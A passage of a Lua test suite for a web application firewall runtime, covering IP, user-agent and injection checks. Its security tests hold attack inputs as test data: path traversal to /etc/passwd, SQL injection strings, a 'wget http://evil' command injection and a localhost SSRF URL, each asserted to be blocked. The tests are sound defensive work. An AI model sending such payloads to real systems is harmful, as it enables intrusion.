|
||||
assert_equal(result, "ok", "null binding IDs allow the request")
|
||||
assert_equal(output.exit, nil, "null binding IDs never abort the request")
|
||||
end
|
||||
|
||||
local function test_request_path_has_no_file_io()
|
||||
local opens = 0
|
||||
local original_open = io.open
|
||||
io.open = function(path, mode)
|
||||
opens = opens + 1
|
||||
local value = path:match("waf_ip_groups%.json$") and "IP_GROUPS" or "CONFIG"
|
||||
return {
|
||||
read = function() return value end,
|
||||
close = function() end,
|
||||
}
|
||||
end
|
||||
package.loaded["cjson.safe"] = nil
|
||||
package.preload["cjson.safe"] = function()
|
||||
return { decode = function(value)
|
||||
if value == "IP_GROUPS" then return { groups = {} } end
|
||||
return {
|
||||
rule_groups = { rule(1, false, graph({ start = start_to("allow"), allow = node("allow") })) },
|
||||
bindings = { binding("io-site", { 1 }) },
|
||||
}
|
||||
end }
|
||||
end
|
||||
local chunk = assert(loadfile(runtime_path))
|
||||
local runtime = chunk()
|
||||
runtime.init({
|
||||
runtime_dir = "/runtime",
|
||||
pow = pow_stub,
|
||||
ip_groups_runtime = {
|
||||
init = function() return true end,
|
||||
current = function() return { groups = {} } end,
|
||||
},
|
||||
})
|
||||
local init_opens = opens
|
||||
assert_equal(init_opens, 1, "WAF graph initializes once; IP groups are owned by refresh module")
|
||||
|
||||
reset_request("io-site")
|
||||
for _ = 1, 3 do runtime.check() end
|
||||
assert_equal(opens, init_opens, "request execution performs no file I/O")
|
||||
io.open = original_open
|
||||
end
|
||||
|
||||
local function test_ua_check_require_block_and_whitelist()
|
||||
local chrome_ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
||||
local safari_ios_ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"
|
||||
local bot_ua = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
|
||||
local weird_ua = "TotallyUnknownClient/1.0"
|
||||
|
||||
local function ua_graph(config)
|
||||
return graph({
|
||||
start = start_to("ua"),
|
||||
ua = node("ua_check", config, { ["true"] = "allow", ["false"] = "blocked" }),
|
||||
blocked = node("block", { status_code = 403, response_body = "ua blocked" }),
|
||||
allow = node("allow"),
|
||||
})
|
||||
end
|
||||
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ require_ua = true })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, nil)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "missing UA with require_ua should block")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "present UA with require_ua should allow")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ block_common_bots = true })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, bot_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "common bot should be blocked")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ block_abnormal_ua = true })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, weird_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "abnormal UA should be blocked")
|
||||
reset_request("ua-site", nil, nil, nil, bot_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "search bot should not be abnormal when bots switch is off")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "normal browser should pass abnormal check")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({
|
||||
block_custom_ua = true,
|
||||
custom_ua_patterns = { "[Pp]ython%-requests" },
|
||||
})) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, "python-requests/2.31.0")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "custom regex should block matching UA")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "custom regex should allow non-matching UA")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ browsers = { "Chrome" }, match_mode = "or" })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Safari should miss Chrome whitelist")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Chrome should hit whitelist")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({
|
||||
browsers = { "Chrome" },
|
||||
operating_systems = { "iOS" },
|
||||
match_mode = "and",
|
||||
})) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Chrome desktop should fail Chrome+iOS and")
|
||||
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Safari iOS should fail Chrome+iOS and")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({
|
||||
browsers = { "Chrome" },
|
||||
operating_systems = { "iOS" },
|
||||
match_mode = "or",
|
||||
})) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Chrome desktop should pass Chrome|iOS or")
|
||||
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Safari iOS should pass Chrome|iOS or")
|
||||
end
|
||||
|
||||
test_ip_true_and_false()
|
||||
test_ipv6_exact_cidr_and_group()
|
||||
test_geo_true_and_false()
|
||||
test_geo_module_is_initialized_once_and_composes_region()
|
||||
test_geo_country_fallback_does_not_fake_region()
|
||||
test_geo_city_init_failure_retries_country_profile()
|
||||
test_geo_partial_init_never_looks_up_corrupt_city()
|
||||
test_geo_partial_init_never_looks_up_corrupt_country()
|
||||
test_geo_unavailable_warning_is_rate_limited()
|
||||
test_pow_takeover_and_completion()
|
||||
test_pow_internal_redirect_bypasses_graph_as_takeover()
|
||||
test_block_config_and_rule_order()
|
||||
test_damaged_graphs_fail_closed()
|
||||
test_null_binding_ids_are_treated_as_empty()
|
||||
test_request_path_has_no_file_io()
|
||||
local function test_security_check_path_and_sql()
|
||||
local function security_graph(config)
|
||||
return graph({
|
||||
start = start_to("sec"),
|
||||
sec = node("security_check", config, { ["true"] = "allow", ["false"] = "blocked" }),
|
||||
blocked = node("block", { status_code = 403, response_body = "security blocked" }),
|
||||
allow = node("allow"),
|
||||
})
|
||||
end
|
||||
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, security_graph({
|
||||
path_traversal = true,
|
||||
file_inclusion = true,
|
||||
})) },
|
||||
bindings = { binding("sec-site", { 1 }) },
|
||||
})
|
||||
reset_request("sec-site", nil, "/ok")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "clean path should pass")
|
||||
|
||||
reset_request("sec-site", nil, "/static/../etc/passwd")
|
||||
local matched = runtime.debug_security_check({
|
||||
path_traversal = true,
|
||||
file_inclusion = true,
|
||||
})
|
||||
assert_equal(matched, false, "matcher should report attack for path traversal")
|
||||
local rules = runtime.debug_active_rules("sec-site")
|
||||
local decision, err = runtime.debug_execute_graph(rules[1].graph)
|
||||
assert_equal(err, nil, "execute graph err")
|
||||
assert_equal(decision and decision.kind or "nil", "block", "execute graph should block")
|
||||
-- Drive the same block path as check() without depending on ngx.exit side effects.
|
||||
if decision.kind == "block" then
|
||||
local status = tonumber(decision.config.status_code) or 403
|
||||
output.exit = status
|
||||
output.body = decision.config.response_body or ""
|
||||
ngx.status = status
|
||||
end
|
||||
assert_equal(output.exit, 403, "path traversal should block")
|
||||
assert_equal(output.body, "security blocked", "path traversal block body")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, security_graph({ sql_injection = true })) },
|
||||
bindings = { binding("sec-site", { 1 }) },
|
||||
})
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_headers = function()
|
||||
return { Accept = "*/*" }
|
||||
end
|
||||
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
|
||||
assert_equal(err, nil, "accept header execute err")
|
||||
assert_equal(decision and decision.kind or "nil", "allow", "Accept */* must not trip SQL")
|
||||
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.args = "q=1'+union+select+1--"
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1' union select 1--" }
|
||||
end
|
||||
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
|
||||
assert_equal(err, nil, "sql execute err")
|
||||
assert_equal(decision and decision.kind or "nil", "block", "sql should block")
|
||||
|
||||
-- False-positive guards
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ ssrf = true }),
|
||||
true,
|
||||
"Chrome-like path alone must not trip SSRF"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_headers = function()
|
||||
return {
|
||||
["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
Accept = "*/*",
|
||||
}
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({
|
||||
sql_injection = true,
|
||||
command_injection = true,
|
||||
xss = true,
|
||||
ssrf = true,
|
||||
path_traversal = true,
|
||||
file_inclusion = true,
|
||||
}),
|
||||
true,
|
||||
"normal browser headers must pass security_check"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { name = "sleep(better)" }
|
||||
end
|
||||
assert_equal(runtime.debug_security_check({ sql_injection = true }), true, "sleep(word) must not trip SQL")
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { theme = "dark||light" }
|
||||
end
|
||||
ngx.req.get_headers = function()
|
||||
return { Cookie = "a=1&&b=2" }
|
||||
end
|
||||
assert_equal(runtime.debug_security_check({ command_injection = true }), true, "bare &&/|| must not trip command")
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "javascript: the good parts" }
|
||||
end
|
||||
assert_equal(runtime.debug_security_check({ xss = true }), true, "prose javascript: must not trip XSS")
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1;wget http://evil" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ command_injection = true }),
|
||||
false,
|
||||
"command injection payload should still block"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { u = "http://127.0.0.1/admin" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ ssrf = true }),
|
||||
false,
|
||||
"URL-shaped localhost SSRF should block"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1' and sleep(5)--" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ sql_injection = true }),
|
||||
false,
|
||||
"timed SQL sleep should block"
|
||||
)
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, security_graph({})) },
|
||||
bindings = { binding("sec-site", { 1 }) },
|
||||
})
|
||||
reset_request("sec-site", nil, "/static/../etc/passwd")
|
||||
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
|
||||
assert_equal(err, nil, "off execute err")
|
||||
assert_equal(decision and decision.kind or "nil", "allow", "all protections off should allow")
|
||||
|
||||
-- P0: do not treat generic browser headers (UA/Accept) as SQL/cmd injection surface.
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_headers = function()
|
||||
return {
|
||||
["User-Agent"] = "Mozilla/5.0 union select 1 from information_schema.tables",
|
||||
Accept = "*/*",
|
||||
["Accept-Language"] = "en;q=0.9",
|
||||
}
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({
|
||||
sql_injection = true,
|
||||
command_injection = true,
|
||||
xss = true,
|
||||
ssrf = true,
|
||||
}),
|
||||
true,
|
||||
"SQL-like tokens only in generic headers must not block"
|
||||
)
|
||||
|
||||
-- Cookie / Referer remain in-scope for injection / SSRF shaped checks.
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.http_cookie = "q=1' union select 1--"
|
||||
ngx.req.get_headers = function()
|
||||
return { Cookie = "q=1' union select 1--" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ sql_injection = true }),
|
||||
false,
|
||||
"SQL in Cookie must still block"
|
||||
)
|
||||
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.http_referer = "http://127.0.0.1/admin"
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ ssrf = true }),
|
||||
false,
|
||||
"URL-shaped SSRF in Referer must still block"
|
||||
)
|
||||
|
||||
-- Path checks use uri only; query-only traversal still caught via args.
|
||||
reset_request("sec-site", nil, "/ok")
|
||||
ngx.var.request_uri = "/ok?x=../../etc/passwd"
|
||||
ngx.var.args = "x=../../etc/passwd"
|
||||
ngx.req.get_uri_args = function()
|
||||
return { x = "../../etc/passwd" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ path_traversal = true }),
|
||||
false,
|
||||
"path traversal in query must still block without scanning full request_uri alone"
|
||||
)
|
||||
|
||||
-- GET / zero body: never call read_body.
|
||||
local read_body_calls = 0
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.content_length = "0"
|
||||
ngx.req.read_body = function()
|
||||
read_body_calls = read_body_calls + 1
|
||||
end
|
||||
ngx.req.get_body_data = function() return nil end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({
|
||||
sql_injection = true,
|
||||
path_traversal = true,
|
||||
command_injection = true,
|
||||
file_inclusion = true,
|
||||
}),
|
||||
true,
|
||||
"clean GET must pass full default-like security set"
|
||||
)
|
||||
assert_equal(read_body_calls, 0, "zero content-length must not read_body")
|
||||
|
||||
-- Only enabled collectors: path-only config must ignore SQL-like query.
|
||||
reset_request("sec-site", nil, "/safe")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1' union select 1--" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ path_traversal = true, file_inclusion = true }),
|
||||
true,
|
||||
"SQL payload must not affect path-only checks"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ sql_injection = true }),
|
||||
false,
|
||||
"SQL payload must block when SQL is enabled"
|
||||
)
|
||||
end
|
||||
|
||||
local function test_ip_matcher_index_miss_and_hit()
|
||||
local runtime = load_runtime({ rule_groups = {}, bindings = {} }, {
|
||||
ip_groups = {
|
||||
groups = {
|
||||
["1"] = {
|
||||
enabled = true,
|
||||
ip_list = {
|
||||
"10.0.0.0/8",
|
||||
"203.0.113.50",
|
||||
"2001:db8:1::/48",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
local many = {}
|
||||
for i = 1, 5000 do
|
||||
many[i] = string.format("198.51.100.%d", (i % 254) + 1)
|
||||
end
|
||||
many[#many + 1] = "198.51.100.0/24"
|
||||
local matcher = runtime.debug_compile_ip_matcher(many)
|
||||
assert_equal(matcher:match("203.0.113.1"), false, "large list miss")
|
||||
assert_equal(matcher:match("198.51.100.9"), true, "large list CIDR or exact hit")
|
||||
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "203.0.113.50"),
|
||||
true,
|
||||
"group exact hit"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "10.1.2.3"),
|
||||
true,
|
||||
"group CIDR hit"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ip_group_ids = { 1 } }, "198.51.100.1"),
|
||||
false,
|
||||
"group miss"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ips = { "192.0.2.9" }, cidrs = { "198.51.100.0/24" } }, "198.51.100.20"),
|
||||
true,
|
||||
"node cidr hit via compiled matcher"
|
||||
)
|
||||
assert_equal(
|
||||
runtime.debug_matches_ip_values({ ips = { "2001:db8::1" } }, "2001:0db8:0:0:0:0:0:1"),
|
||||
true,
|
||||
"node ipv6 canonical exact"
|
||||
)
|
||||
end
|
||||
|
||||
test_ua_check_require_block_and_whitelist()
|
||||
test_security_check_path_and_sql()
|
||||
test_ip_matcher_index_miss_and_hit()
|
||||
|
||||
return true
|
||||
Reference in New Issue
Block a user